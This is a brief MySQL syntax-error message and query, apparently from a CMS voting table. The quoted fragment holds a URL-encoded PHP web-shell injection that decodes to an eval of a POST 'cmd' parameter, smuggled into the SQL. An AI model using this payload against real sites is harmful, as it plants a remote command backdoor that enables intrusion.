You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27%3Beval%28%24_POST%5Bcmd%5D%29%3B%2F%2Fenewsinfovote where infouptime>0 or in' at line 1
select id,classid,infouptime,infodowntime from ***_enewsinfovote where infouptime>0 or infodowntime>0